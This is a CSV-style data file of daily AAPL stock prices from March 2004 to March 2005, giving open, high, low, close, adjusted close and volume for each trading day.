-2004-03-19,1.8257142305374146,1.9242857694625854,1.8242857456207275,1.8471428155899048,1.6072006225585938,102144000.0,AAPL -2004-03-22,1.8121428489685059,1.8692857027053833,1.8035714626312256,1.8471428155899048,1.6072006225585938,104757800.0,AAPL -2004-03-23,1.8485714197158813,1.8571428060531616,1.8014285564422607,1.8064285516738892,1.571774959564209,96378800.0,AAPL -2004-03-24,1.8049999475479126,1.8392857313156128,1.8049999475479126,1.8214285373687744,1.5848267078399658,107053800.0,AAPL -2004-03-25,1.867142915725708,1.9221428632736206,1.8492857217788696,1.9192856550216675,1.6699724197387695,141611400.0,AAPL -2004-03-26,1.9285714626312256,1.954285740852356,1.9221428632736206,1.9314285516738892,1.6805375814437866,104973400.0,AAPL -2004-03-29,1.9550000429153442,1.9992856979370117,1.9428571462631226,1.993571400642395,1.7346082925796509,87682000.0,AAPL -2004-03-30,1.981428623199463,1.9964286088943481,1.9528571367263794,1.9942857027053833,1.7352300882339478,89919200.0,AAPL -2004-03-31,1.9942857027053833,1.9985713958740234,1.9249999523162842,1.9314285516738892,1.6805375814437866,97693400.0,AAPL -2004-04-01,1.920714259147644,1.947857141494751,1.9014285802841187,1.9364285469055176,1.684888243675232,79583000.0,AAPL -2004-04-02,1.9821428060531616,1.9950000047683716,1.9450000524520874,1.9642857313156128,1.7091269493103027,68619600.0,AAPL -2004-04-05,1.9628571271896362,2.026428461074829,1.9600000381469727,2.022857189178467,1.7600901126861572,96418000.0,AAPL -2004-04-06,1.979285717010498,2.010714292526245,1.9592857360839844,1.9878571033477783,1.7296361923217773,64498000.0,AAPL -2004-04-07,1.9721428155899048,1.9785714149475098,1.9228571653366089,1.9507142305374146,1.697318434715271,63779800.0,AAPL -2004-04-08,1.9914286136627197,2.0,1.9428571462631226,1.966428518295288,1.7109911441802979,60229400.0,AAPL -2004-04-12,1.9642857313156128,2.0071427822113037,1.9635714292526245,2.002857208251953,1.7426882982254028,57635200.0,AAPL -2004-04-13,1.9985713958740234,2.002142906188965,1.9171428680419922,1.9235714673995972,1.6737011671066284,109099200.0,AAPL -2004-04-14,1.909999966621399,1.933571457862854,1.8792856931686401,1.9028571844100952,1.6556780338287354,159933200.0,AAPL -2004-04-15,2.0585713386535645,2.1128571033477783,2.0114285945892334,2.0928571224212646,1.8209965229034424,440361600.0,AAPL -2004-04-16,2.0821428298950195,2.093571424484253,2.0357143878936768,2.0842857360839844,1.813538908958435,100732800.0,AAPL -2004-04-19,2.0085713863372803,2.0535714626312256,1.9878571033477783,2.0250000953674316,1.761954426765442,178088400.0,AAPL -2004-04-20,2.015000104904175,2.0292856693267822,1.968571424484253,1.9807143211364746,1.7234218120574951,88629800.0,AAPL -2004-04-21,1.9714285135269165,2.0085713863372803,1.9550000429153442,1.9807143211364746,1.7234218120574951,81468800.0,AAPL -2004-04-22,1.968571424484253,2.01285719871521,1.9364285469055176,1.9842857122421265,1.7265287637710571,86146200.0,AAPL -2004-04-23,1.9785714149475098,2.0,1.9321428537368774,1.9785714149475098,1.7215567827224731,78957200.0,AAPL -2004-04-26,1.9700000286102295,1.9742857217788696,1.9285714626312256,1.9378571510314941,1.6861313581466675,57782200.0,AAPL -2004-04-27,1.9457142353057861,1.9600000381469727,1.906428575515747,1.9242857694625854,1.6743230819702148,70966000.0,AAPL -2004-04-28,1.9157142639160156,1.9292857646942139,1.881428599357605,1.889285683631897,1.643869400024414,57792000.0,AAPL -2004-04-29,1.889285683631897,1.9285714626312256,1.8557143211364746,1.9121428728103638,1.6637572050094604,115197600.0,AAPL -2004-04-30,1.9078571796417236,1.9257142543792725,1.8207142353057861,1.841428518295288,1.6022289991378784,116625600.0,AAPL -2004-05-03,1.8571428060531616,1.8807142972946167,1.8385714292526245,1.86214280128479,1.6202523708343506,74408600.0,AAPL -2004-05-04,1.8550000190734863,1.8964285850524902,1.8214285373687744,1.867142915725708,1.6246027946472168,69995800.0,AAPL -2004-05-05,1.8714286088943481,1.9107142686843872,1.854285717010498,1.9035714864730835,1.656299114227295,59526600.0,AAPL -2004-05-06,1.8857142925262451,1.9107142686843872,1.850000023841858,1.8985713720321655,1.6519488096237183,65889600.0,AAPL -2004-05-07,1.8964285850524902,1.9692857265472412,1.8964285850524902,1.9049999713897705,1.6575419902801514,104759200.0,AAPL -2004-05-10,1.8764286041259766,1.899999976158142,1.8528571128845215,1.8771429061889648,1.6333039999008179,62494600.0,AAPL -2004-05-11,1.8857142925262451,1.9421428442001343,1.8857142925262451,1.9385714530944824,1.6867527961730957,76293000.0,AAPL -2004-05-12,1.9135714769363403,1.9528571367263794,1.8742856979370117,1.9500000476837158,1.6966966390609741,61355000.0,AAPL -2004-05-13,1.9357142448425293,1.9800000190734863,1.9214285612106323,1.9421428442001343,1.6898603439331055,57463000.0,AAPL -2004-05-14,1.9464285373687744,1.9514285326004028,1.889285683631897,1.9328571557998657,1.6817808151245117,64450400.0,AAPL -2004-05-17,1.9071428775787354,1.9328571557998657,1.882857084274292,1.9028571844100952,1.6556780338287354,75111400.0,AAPL -2004-05-18,1.9264285564422607,1.9492857456207275,1.914285659790039,1.9328571557998657,1.6817808151245117,51515800.0,AAPL -2004-05-19,1.9571428298950195,1.9642857313156128,1.8871428966522217,1.8907142877578735,1.6451126337051392,93898000.0,AAPL -2004-05-20,1.902142882347107,1.9285714626312256,1.8907142877578735,1.9078571796417236,1.6600285768508911,49074200.0,AAPL -2004-05-21,1.9214285612106323,1.9428571462631226,1.9092856645584106,1.9364285469055176,1.684888243675232,44973600.0,AAPL -2004-05-24,1.9492857456207275,1.9928570985794067,1.9364285469055176,1.9528571367263794,1.6991828680038452,58900800.0,AAPL -2004-05-25,1.9642857313156128,2.036428689956665,1.9492857456207275,2.0292856693267822,1.7656835317611694,79994600.0,AAPL -2004-05-26,2.023571491241455,2.0557143688201904,2.0,2.036428689956665,1.7718985080718994,80542000.0,AAPL -2004-05-27,2.0328571796417236,2.0428571701049805,1.98714280128479,2.0121428966522217,1.7507671117782593,58993200.0,AAPL -2004-05-28,2.005714178085327,2.0192856788635254,1.985714316368103,2.0042858123779297,1.7439308166503906,36429400.0,AAPL -2004-06-01,1.9850000143051147,2.0142858028411865,1.9721428155899048,2.0042858123779297,1.7439308166503906,45533600.0,AAPL -2004-06-02,2.002142906188965,2.083571434020996,1.985714316368103,2.0657143592834473,1.7973802089691162,79678200.0,AAPL -2004-06-03,2.0514285564422607,2.070714235305786,2.020714282989502,2.028571367263794,1.7650617361068726,62732600.0,AAPL -2004-06-04,2.0399999618530273,2.0892856121063232,2.036428689956665,2.0557143688201904,1.7886788845062256,99778000.0,AAPL -2004-06-07,2.0742857456207275,2.1414284706115723,2.057857036590576,2.1292858123779297,1.8526939153671265,73969000.0,AAPL -2004-06-08,2.1421427726745605,2.174285650253296,2.130714178085327,2.1678571701049805,1.8862543106079102,103905200.0,AAPL -2004-06-09,2.1492857933044434,2.1935713291168213,2.142857074737549,2.1571428775787354,1.8769317865371704,87301200.0,AAPL -2004-06-10,2.1571428775787354,2.2121429443359375,2.1571428775787354,2.195714235305786,1.91049325466156,64394400.0,AAPL -2004-06-14,2.1892857551574707,2.1914286613464355,2.107142925262451,2.151428461074829,1.8719596862792969,60996600.0,AAPL -2004-06-15,2.1814286708831787,2.22428560256958,2.161428689956665,2.192142963409424,1.9073854684829712,111158600.0,AAPL -2004-06-16,2.190000057220459,2.380000114440918,2.1807143688201904,2.338571310043335,2.0347936153411865,227410400.0,AAPL -2004-06-17,2.325714349746704,2.3664286136627197,2.3007142543792725,2.343571424484253,2.0391435623168945,137830000.0,AAPL -2004-06-18,2.332857131958008,2.3864285945892334,2.3164286613464355,2.3507142066955566,2.045358657836914,101563000.0,AAPL -2004-06-21,2.3657143115997314,2.392857074737549,2.294285774230957,2.3092856407165527,2.0093116760253906,97553400.0,AAPL -2004-06-22,2.307142972946167,2.3635714054107666,2.3064286708831787,2.357142925262451,2.0509517192840576,90127800.0,AAPL -2004-06-23,2.357142925262451,2.416428565979004,2.34928560256958,2.4071428775787354,2.0944573879241943,97717200.0,AAPL -2004-06-24,2.393571376800537,2.4071428775787354,2.3557143211364746,2.369999885559082,2.0621395111083984,63128800.0,AAPL -2004-06-25,2.36214280128479,2.4071428775787354,2.357142925262451,2.4071428775787354,2.0944573879241943,80857000.0,AAPL -2004-06-28,2.4414286613464355,2.442142963409424,2.3007142543792725,2.320714235305786,2.0192553997039795,130274200.0,AAPL -2004-06-29,2.2907142639160156,2.356428623199463,2.2435715198516846,2.3214285373687744,2.0198771953582764,147638400.0,AAPL -2004-06-30,2.325714349746704,2.3550000190734863,2.2778570652008057,2.3242857456207275,2.0223634243011475,93261000.0,AAPL -2004-07-01,2.2928571701049805,2.319999933242798,2.278571367263794,2.307142972946167,2.0074477195739746,85485400.0,AAPL -2004-07-02,2.177142858505249,2.227142810821533,2.1235713958740234,2.2200000286102295,1.931624412536621,227670800.0,AAPL -2004-07-06,2.2335715293884277,2.244285821914673,2.200000047683716,2.210714340209961,1.9235447645187378,87245200.0,AAPL -2004-07-07,2.203571319580078,2.240000009536743,2.1521427631378174,2.1707143783569336,1.8887401819229126,99498000.0,AAPL -2004-07-08,2.1521427631378174,2.1914286613464355,2.1392858028411865,2.1528570652008057,1.8732030391693115,58345000.0,AAPL -2004-07-09,2.162142753601074,2.1785714626312256,2.1449999809265137,2.1449999809265137,1.8663667440414429,52215800.0,AAPL -2004-07-12,2.1442856788635254,2.145714282989502,2.0664286613464355,2.0814285278320312,1.8110530376434326,127905400.0,AAPL -2004-07-13,2.0892856121063232,2.114285707473755,2.072857141494751,2.0871429443359375,1.816024899482727,79044000.0,AAPL -2004-07-14,2.0614285469055176,2.140714168548584,2.0528571605682373,2.1128571033477783,1.838398814201355,208950000.0,AAPL -2004-07-15,2.332857131958008,2.4021427631378174,2.2935714721679688,2.352142810821533,2.0466015338897705,441931000.0,AAPL -2004-07-16,2.3428571224212646,2.351428508758545,2.294285774230957,2.299999952316284,2.001232147216797,122095400.0,AAPL -2004-07-19,2.286428689956665,2.3014285564422607,2.2614285945892334,2.283571481704712,1.9869377613067627,133292600.0,AAPL -2004-07-20,2.2821428775787354,2.299999952316284,2.2535715103149414,2.299999952316284,2.001232147216797,80936800.0,AAPL -2004-07-21,2.3157143592834473,2.336428642272949,2.2385714054107666,2.2585713863372803,1.965185284614563,75314400.0,AAPL -2004-07-22,2.232142925262451,2.2664284706115723,2.218571424484253,2.26285719871521,1.9689140319824219,83529600.0,AAPL -2004-07-23,2.252142906188965,2.267857074737549,2.177142858505249,2.192857027053833,1.9080075025558472,68392800.0,AAPL -2004-07-26,2.203571319580078,2.2464284896850586,2.1985714435577393,2.2328572273254395,1.9428114891052246,98483000.0,AAPL -2004-07-27,2.2714285850524902,2.3392856121063232,2.255000114440918,2.3164286613464355,2.015526533126831,106251600.0,AAPL -2004-07-28,2.307857036590576,2.315000057220459,2.2257142066955566,2.305000066757202,2.005582332611084,71262800.0,AAPL -2004-07-29,2.3192856311798096,2.344285726547241,2.2950000762939453,2.3314285278320312,2.028578281402588,55539400.0,AAPL -2004-07-30,2.3321428298950195,2.357142925262451,2.2857143878936768,2.309999942779541,2.0099332332611084,60755800.0,AAPL -2004-08-02,2.227142810821533,2.299999952316284,2.223571538925171,2.255714178085327,1.962699294090271,91273000.0,AAPL -2004-08-03,2.2464284896850586,2.265714168548584,2.2249999046325684,2.234999895095825,1.9446758031845093,52907400.0,AAPL -2004-08-04,2.2278571128845215,2.294285774230957,2.226428508758545,2.270714282989502,1.9757505655288696,69122200.0,AAPL -2004-08-05,2.2721428871154785,2.307142972946167,2.232142925262451,2.242142915725708,1.9508906602859497,61125400.0,AAPL -2004-08-06,2.2071428298950195,2.221428632736206,2.1214284896850586,2.127142906188965,1.8508288860321045,123072600.0,AAPL -2004-08-09,2.1321427822113037,2.174999952316284,2.1292858123779297,2.164285659790039,1.88314688205719,72711800.0,AAPL -2004-08-10,2.1707143783569336,2.252857208251953,2.1678571701049805,2.2514286041259766,1.9589698314666748,87759000.0,AAPL -2004-08-11,2.221428632736206,2.223571538925171,2.161428689956665,2.2149999141693115,1.9272732734680176,80598000.0,AAPL -2004-08-12,2.174999952316284,2.203571319580078,2.1628570556640625,2.169285774230957,1.8874977827072144,56550200.0,AAPL -2004-08-13,2.1857142448425293,2.234285831451416,2.171428680419922,2.202857255935669,1.9167081117630005,82012000.0,AAPL -2004-08-16,2.2142856121063232,2.265714168548584,2.1885714530944824,2.1985714435577393,1.9129791259765625,108918600.0,AAPL -2004-08-17,2.1842856407165527,2.223571538925171,2.1678571701049805,2.2049999237060547,1.9185725450515747,80754800.0,AAPL -2004-08-18,2.179285764694214,2.2750000953674316,2.1778571605682373,2.2671427726745605,1.9726433753967285,91163800.0,AAPL -2004-08-19,2.2507143020629883,2.27571439743042,2.1685714721679688,2.1935713291168213,1.9086287021636963,97230000.0,AAPL -2004-08-20,2.1935713291168213,2.213571310043335,2.1778571605682373,2.200000047683716,1.9142227172851562,79195200.0,AAPL -2004-08-23,2.2042856216430664,2.2335715293884277,2.1857142448425293,2.2200000286102295,1.931624412536621,63665000.0,AAPL -2004-08-24,2.2328572273254395,2.2821428775787354,2.2278571128845215,2.2821428775787354,1.9856950044631958,93534000.0,AAPL -2004-08-25,2.276428461074829,2.3678572177886963,2.2664284706115723,2.3607141971588135,2.0540597438812256,126404600.0,AAPL -2004-08-26,2.359999895095825,2.51285719871521,2.338571310043335,2.4757142066955566,2.154121160507202,238964600.0,AAPL -2004-08-27,2.477142810821533,2.4828572273254395,2.4285714626312256,2.453571319580078,2.134855031967163,97203400.0,AAPL -2004-08-30,2.4285714626312256,2.4800000190734863,2.4257142543792725,2.437142848968506,2.12056040763855,54535600.0,AAPL -2004-08-31,2.4335713386535645,2.4964284896850586,2.4285714626312256,2.463571310043335,2.1435556411743164,94140200.0,AAPL -2004-09-01,2.450000047683716,2.570714235305786,2.442142963409424,2.5614285469055176,2.2287018299102783,128931600.0,AAPL -2004-09-02,2.5357143878936768,2.557857036590576,2.4878571033477783,2.547142744064331,2.216271162033081,101581200.0,AAPL -2004-09-03,2.5007143020629883,2.5657143592834473,2.5007143020629883,2.5164284706115723,2.189546585083008,73367000.0,AAPL -2004-09-07,2.528571367263794,2.5850000381469727,2.5164284706115723,2.554285764694214,2.222485303878784,75489400.0,AAPL -2004-09-08,2.549999952316284,2.61214280128479,2.5485713481903076,2.596428632736206,2.259155035018921,85881600.0,AAPL -2004-09-09,2.578571319580078,2.5928571224212646,2.5199999809265137,2.549999952316284,2.218757390975952,115334800.0,AAPL -2004-09-10,2.547142744064331,2.587857246398926,2.5328571796417236,2.562142848968506,2.229323148727417,82003600.0,AAPL -2004-09-13,2.562857151031494,2.5764286518096924,2.522857189178467,2.542142868041992,2.211920976638794,70494200.0,AAPL -2004-09-14,2.5171427726745605,2.539285659790039,2.484285831451416,2.5350000858306885,2.2057063579559326,63705600.0,AAPL -2004-09-15,2.52571439743042,2.5342857837677,2.4857141971588135,2.5142858028411865,2.1876823902130127,58167200.0,AAPL -2004-09-16,2.5142858028411865,2.6257143020629883,2.505714178085327,2.596428632736206,2.259155035018921,125479200.0,AAPL -2004-09-17,2.6107141971588135,2.6700000762939453,2.5999999046325684,2.6528570652008057,2.308253765106201,125577200.0,AAPL -2004-09-20,2.6342856884002686,2.712857246398926,2.6335713863372803,2.6935713291168213,2.343679666519165,61250000.0,AAPL -2004-09-21,2.6964285373687744,2.776428461074829,2.6757142543792725,2.7149999141693115,2.362323760986328,96663000.0,AAPL -2004-09-22,2.721428632736206,2.72428560256958,2.6292858123779297,2.6371428966522217,2.2945802211761475,100422000.0,AAPL -2004-09-23,2.645714282989502,2.6785714626312256,2.63785719871521,2.662142753601074,2.3163328170776367,99351000.0,AAPL -2004-09-24,2.674999952316284,2.7142856121063232,2.653571367263794,2.663571357727051,2.317575693130493,92372000.0,AAPL -2004-09-27,2.6392858028411865,2.712857246398926,2.630714178085327,2.6807143688201904,2.3324925899505615,99379000.0,AAPL -2004-09-28,2.6757142543792725,2.734999895095825,2.674999952316284,2.7171428203582764,2.364189386367798,88296600.0,AAPL -2004-09-29,2.7092857360839844,2.77571439743042,2.7014286518096924,2.76285719871521,2.4039645195007324,68377400.0,AAPL -2004-09-30,2.7857143878936768,2.805000066757202,2.7464284896850586,2.767857074737549,2.4083147048950195,106253000.0,AAPL -2004-10-01,2.794285774230957,2.799285650253296,2.755714178085327,2.7621428966522217,2.4033432006835938,116351200.0,AAPL -2004-10-04,2.7985713481903076,2.7985713481903076,2.767857074737549,2.770714282989502,2.4108009338378906,143521000.0,AAPL -2004-10-05,2.7542858123779297,2.833571434020996,2.7428572177886963,2.812142848968506,2.446848154067993,101540600.0,AAPL -2004-10-06,2.8214285373687744,2.911428689956665,2.8192856311798096,2.9028570652008057,2.5257785320281982,111575800.0,AAPL -2004-10-07,2.895714282989502,2.9235713481903076,2.8185713291168213,2.8299999237060547,2.462385892868042,106537200.0,AAPL -2004-10-08,2.825714349746704,2.8407142162323,2.7742857933044434,2.7899999618530273,2.427581548690796,89807200.0,AAPL -2004-10-11,2.7714285850524902,2.7899999618530273,2.7285714149475098,2.7564284801483154,2.3983707427978516,80967600.0,AAPL -2004-10-12,2.75,2.755714178085327,2.6892857551574707,2.734999895095825,2.3797266483306885,115047800.0,AAPL -2004-10-13,2.776428461074829,2.8399999141693115,2.7671427726745605,2.8392856121063232,2.4704654216766357,290752000.0,AAPL -2004-10-14,3.0850000381469727,3.267857074737549,3.039285659790039,3.212857246398926,2.7955098152160645,692106800.0,AAPL -2004-10-15,3.205714225769043,3.257857084274292,3.156428575515747,3.25,2.8278281688690186,257782000.0,AAPL -2004-10-18,3.192857027053833,3.4107143878936768,3.192857027053833,3.4107143878936768,2.967665672302246,300188000.0,AAPL -2004-10-19,3.4357142448425293,3.453571319580078,3.3792858123779297,3.3871428966522217,2.9471561908721924,200498200.0,AAPL -2004-10-20,3.369999885559082,3.4000000953674316,3.3321428298950195,3.390714168548584,2.950263738632202,151277000.0,AAPL -2004-10-21,3.3914284706115723,3.437857151031494,3.382857084274292,3.424285650253296,2.9794740676879883,181126400.0,AAPL -2004-10-22,3.395714282989502,3.4049999713897705,3.3585715293884277,3.3864285945892334,2.9465348720550537,120766800.0,AAPL -2004-10-25,3.3714284896850586,3.417142868041992,3.36214280128479,3.3964285850524902,2.955235719680786,98161000.0,AAPL -2004-10-26,3.3892858028411865,3.432142972946167,3.3550000190734863,3.4264285564422607,2.9813382625579834,148590400.0,AAPL -2004-10-27,3.4649999141693115,3.6157143115997314,3.4407143592834473,3.5928571224212646,3.1261484622955322,298373600.0,AAPL -2004-10-28,3.569999933242798,3.7300000190734863,3.5357143878936768,3.7278571128845215,3.2436115741729736,216066200.0,AAPL -2004-10-29,3.702857255935669,3.799999952316284,3.700000047683716,3.7428572177886963,3.2566633224487305,202554800.0,AAPL -2004-11-01,3.75,3.804285764694214,3.7171428203582764,3.7464284896850586,3.2597711086273193,150512600.0,AAPL -2004-11-02,3.7428572177886963,3.8628571033477783,3.7428572177886963,3.8214285373687744,3.325028896331787,182497000.0,AAPL -2004-11-03,3.8835713863372803,4.007857322692871,3.856428623199463,3.950714349746704,3.4375202655792236,301043400.0,AAPL -2004-11-04,3.9307143688201904,3.9678571224212646,3.8835713863372803,3.8892858028411865,3.3840715885162354,232156400.0,AAPL -2004-11-05,3.9185714721679688,3.9285714626312256,3.7171428203582764,3.908571481704712,3.4008522033691406,301261800.0,AAPL -2004-11-08,3.8764286041259766,3.960714340209961,3.8471429347991943,3.8842856884002686,3.379720687866211,131730200.0,AAPL -2004-11-09,3.8735713958740234,3.8964285850524902,3.812857151031494,3.8607141971588135,3.3592114448547363,118941200.0,AAPL -2004-11-10,3.8535714149475098,3.9564285278320312,3.8507142066955566,3.9107143878936768,3.4027159214019775,127169000.0,AAPL -2004-11-11,3.924999952316284,3.9592857360839844,3.8735713958740234,3.950000047683716,3.4368982315063477,101824800.0,AAPL -2004-11-12,3.929285764694214,3.9778571128845215,3.917142868041992,3.9642856121063232,3.449328660964966,98925400.0,AAPL -2004-11-15,3.942857027053833,3.961428642272949,3.8814284801483154,3.945714235305786,3.4331696033477783,94011400.0,AAPL -2004-11-16,3.940000057220459,3.942857027053833,3.8914284706115723,3.924285650253296,3.414524555206299,73775800.0,AAPL -2004-11-17,3.942142963409424,3.960714340209961,3.872857093811035,3.921428680419922,3.4120383262634277,99437800.0,AAPL -2004-11-18,3.8785715103149414,3.960714340209961,3.877857208251953,3.9564285278320312,3.4424920082092285,114787400.0,AAPL -2004-11-19,3.963571310043335,4.065000057220459,3.892857074737549,3.9407143592834473,3.4288196563720703,191319800.0,AAPL -2004-11-22,4.414285659790039,4.5714287757873535,4.135714054107666,4.382143020629883,3.8129072189331055,642052600.0,AAPL -2004-11-23,4.449999809265137,4.460714340209961,4.360714435577393,4.376428604125977,3.807934522628784,227862600.0,AAPL -2004-11-24,4.406428337097168,4.657142639160156,4.39642858505249,4.574999809265137,3.980712413787842,347697000.0,AAPL -2004-11-26,4.6678571701049805,4.697143077850342,4.595714092254639,4.610714435577393,4.011787414550781,137536000.0,AAPL -2004-11-29,4.925000190734863,4.969285488128662,4.815000057220459,4.888571262359619,4.253551006317139,428229200.0,AAPL -2004-11-30,4.913571357727051,4.913571357727051,4.789285659790039,4.789285659790039,4.1671624183654785,257129600.0,AAPL -2004-12-01,4.8421430587768555,4.85357141494751,4.733571529388428,4.8421430587768555,4.213152885437012,200138400.0,AAPL -2004-12-02,4.723571300506592,4.778571605682373,4.6185712814331055,4.6578569412231445,4.052805423736572,246860600.0,AAPL -2004-12-03,4.609285831451416,4.642857074737549,4.410714149475098,4.477142810821533,3.895565986633301,309712200.0,AAPL -2004-12-06,4.589285850524902,4.731428623199463,4.496428489685059,4.69857120513916,4.088231563568115,311980200.0,AAPL -2004-12-07,4.709285736083984,4.766428470611572,4.468571662902832,4.492142677307129,3.9086177349090576,264224800.0,AAPL -2004-12-08,4.505714416503906,4.602142810821533,4.432142734527588,4.519999980926514,3.9328558444976807,172975600.0,AAPL -2004-12-09,4.486428737640381,4.599999904632568,4.4335713386535645,4.570714473724365,3.976982355117798,185375400.0,AAPL -2004-12-10,4.644999980926514,4.717857360839844,4.621428489685059,4.653571605682373,4.04907751083374,193943400.0,AAPL -2004-12-13,4.687142848968506,4.7071428298950195,4.614285945892334,4.636428356170654,4.03416109085083,98760200.0,AAPL -2004-12-14,4.671428680419922,4.705714225769043,4.644285678863525,4.663571357727051,4.057776927947998,103930400.0,AAPL -2004-12-15,4.659999847412109,4.675714492797852,4.6185712814331055,4.661428451538086,4.055912494659424,99590400.0,AAPL -2004-12-16,4.724999904632568,4.8214287757873535,4.717857360839844,4.757143020629883,4.139195442199707,281528800.0,AAPL -2004-12-17,4.774285793304443,4.788571357727051,4.635714054107666,4.6421427726745605,4.039133548736572,195874000.0,AAPL -2004-12-20,4.67642879486084,4.714285850524902,4.411428451538086,4.480000019073486,3.898052453994751,292031600.0,AAPL -2004-12-21,4.539999961853027,4.554999828338623,4.400000095367432,4.549285888671875,3.95833683013916,266103600.0,AAPL -2004-12-22,4.54714298248291,4.597142696380615,4.528571605682373,4.5535712242126465,3.962067127227783,141457400.0,AAPL -2004-12-23,4.5535712242126465,4.589285850524902,4.5428571701049805,4.572143077850342,3.9782261848449707,61482400.0,AAPL -2004-12-27,4.628571510314941,4.653571605682373,4.491428375244141,4.511428356170654,3.925398588180542,139872600.0,AAPL -2004-12-28,4.52142858505249,4.589285850524902,4.432142734527588,4.584285736083984,3.98879075050354,152938800.0,AAPL -2004-12-29,4.557857036590576,4.641428470611572,4.540714263916016,4.6028571128845215,4.004950523376465,112390600.0,AAPL -2004-12-30,4.62928581237793,4.644999980926514,4.5871429443359375,4.628571510314941,4.027324676513672,86335200.0,AAPL -2004-12-31,4.635000228881836,4.642857074737549,4.57357120513916,4.599999904632568,4.002464294433594,69647200.0,AAPL -2005-01-03,4.627142906188965,4.65071439743042,4.471428394317627,4.520714282989502,3.9334781169891357,172998000.0,AAPL -2005-01-04,4.5564284324646,4.67642879486084,4.497857093811035,4.567142963409424,3.9738755226135254,274202600.0,AAPL -2005-01-05,4.604285717010498,4.660714149475098,4.574999809265137,4.607142925262451,4.0086798667907715,170108400.0,AAPL -2005-01-06,4.619285583496094,4.636428356170654,4.523571491241455,4.610714435577393,4.011787414550781,176388800.0,AAPL -2005-01-07,4.642857074737549,4.973571300506592,4.625,4.9464287757873535,4.303891658782959,556862600.0,AAPL -2005-01-10,4.987857341766357,5.050000190734863,4.848571300506592,4.925714492797852,4.285868167877197,431327400.0,AAPL -2005-01-11,4.875,4.939285755157471,4.581428527832031,4.611428737640381,4.012408256530762,652906800.0,AAPL -2005-01-12,4.675000190734863,4.7071428298950195,4.52142858505249,4.675714492797852,4.068343639373779,479925600.0,AAPL -2005-01-13,5.264999866485596,5.315714359283447,4.980714321136475,4.985714435577393,4.338074684143066,791179200.0,AAPL -2005-01-14,5.017857074737549,5.122857093811035,4.942142963409424,5.014285564422607,4.362934589385986,442685600.0,AAPL -2005-01-18,4.989285945892334,5.050000190734863,4.839285850524902,5.046428680419922,4.390901565551758,251615000.0,AAPL -2005-01-19,5.034999847412109,5.104285717010498,4.982142925262451,4.991428375244141,4.343045711517334,187973800.0,AAPL -2005-01-20,4.974999904632568,5.090714454650879,4.9621429443359375,5.0328569412231445,4.379093170166016,228730600.0,AAPL -2005-01-21,5.093571662902832,5.114285945892334,5.0,5.034999847412109,4.38095760345459,227833200.0,AAPL -2005-01-24,5.070000171661377,5.127142906188965,5.039285659790039,5.054285526275635,4.397738933563232,210407400.0,AAPL -2005-01-25,5.0978569984436035,5.20285701751709,5.067142963409424,5.14642858505249,4.477911472320557,242307800.0,AAPL -2005-01-26,5.190000057220459,5.1964287757873535,5.0871429443359375,5.160714149475098,4.490340709686279,184874200.0,AAPL -2005-01-27,5.154285907745361,5.208571434020996,5.110714435577393,5.188571453094482,4.514581680297852,124056800.0,AAPL -2005-01-28,5.187142848968506,5.284285545349121,5.174285888671875,5.284285545349121,4.597862243652344,200403000.0,AAPL -2005-01-31,5.327142715454102,5.563571453094482,5.322143077850342,5.492856979370117,4.779339790344238,420274400.0,AAPL -2005-02-01,5.503571510314941,5.554999828338623,5.46999979019165,5.5378570556640625,4.8184943199157715,169598800.0,AAPL -2005-02-02,5.567857265472412,5.707857131958008,5.549285888671875,5.687857151031494,4.949009895324707,255015600.0,AAPL -2005-02-03,5.650000095367432,5.673571586608887,5.523571491241455,5.557857036590576,4.8358964920043945,182912800.0,AAPL -2005-02-04,5.562142848968506,5.637856960296631,5.5378570556640625,5.6314287185668945,4.899910926818848,140889000.0,AAPL -2005-02-07,5.637856960296631,5.6678571701049805,5.535714149475098,5.638571262359619,4.906126022338867,131114200.0,AAPL -2005-02-08,5.647857189178467,5.812857151031494,5.627857208251953,5.778571605682373,5.027940273284912,222504800.0,AAPL -2005-02-09,5.788571357727051,5.856428623199463,5.578571319580078,5.624285697937012,4.893696308135986,297864000.0,AAPL -2005-02-10,5.622857093811035,5.6628570556640625,5.475714206695557,5.597142696380615,4.870079040527344,273254800.0,AAPL -2005-02-11,5.704285621643066,5.840000152587891,5.638571262359619,5.800714492797852,5.047207355499268,300263600.0,AAPL -2005-02-14,5.909285545349121,6.0564284324646,5.860714435577393,6.045000076293945,5.259759426116943,317865800.0,AAPL -2005-02-15,6.190000057220459,6.362857341766357,6.142857074737549,6.315000057220459,5.494687080383301,578054400.0,AAPL -2005-02-16,6.296428680419922,6.442857265472412,6.239285945892334,6.437857151031494,5.601585865020752,409810800.0,AAPL -2005-02-17,6.474999904632568,6.491428375244141,6.246428489685059,6.2721428871154785,5.457398414611816,379618400.0,AAPL -2005-02-18,6.2671427726745605,6.27571439743042,6.160714149475098,6.200714111328125,5.395247936248779,290813600.0,AAPL -2005-02-22,6.164285659790039,6.307142734527588,6.0921430587768555,6.0921430587768555,5.300778865814209,304823400.0,AAPL -2005-02-23,6.194285869598389,6.317857265472412,6.110714435577393,6.30214262008667,5.483499050140381,336295400.0,AAPL -2005-02-24,6.320000171661377,6.37928581237793,6.266428470611572,6.352142810821533,5.527005195617676,379757000.0,AAPL -2005-02-25,6.401428699493408,6.42214298248291,6.299285888671875,6.356428623199463,5.530734062194824,228877600.0,AAPL -2005-02-28,6.382857322692871,6.44857120513916,6.28000020980835,6.408571243286133,5.576104164123535,162902600.0,AAPL -2005-03-01,6.42714262008667,6.444285869598389,6.3085713386535645,6.357142925262451,5.531356334686279,117047000.0,AAPL -2005-03-02,6.3214287757873535,6.4128570556640625,6.29714298248291,6.302856922149658,5.4841227531433105,114540300.0,AAPL -2005-03-03,6.338571548461914,6.344285488128662,5.888571262359619,5.96999979019165,5.194502353668213,352913400.0,AAPL -2005-03-04,6.108571529388428,6.144285678863525,5.97857141494751,6.115714073181152,5.321288585662842,189154700.0,AAPL -2005-03-07,6.114285945892334,6.1785712242126465,6.050000190734863,6.107142925262451,5.313830852508545,112658000.0,AAPL -2005-03-08,5.985714435577393,6.022857189178467,5.72857141494751,5.789999961853027,5.037883758544922,255362800.0,AAPL -2005-03-09,5.6628570556640625,5.75428581237793,5.54714298248291,5.621428489685059,4.891209602355957,330616300.0,AAPL -2005-03-10,5.6471428871154785,5.751428604125977,5.585714340209961,5.690000057220459,4.950873374938965,194277300.0,AAPL -2005-03-11,5.744285583496094,5.798571586608887,5.685714244842529,5.752857208251953,5.005566596984863,158207700.0,AAPL -2005-03-14,5.788571357727051,5.827142715454102,5.645714282989502,5.760000228881836,5.011781692504883,151346300.0,AAPL -2005-03-15,5.805714130401611,5.877142906188965,5.75,5.851428508758545,5.091332912445068,127152200.0,AAPL 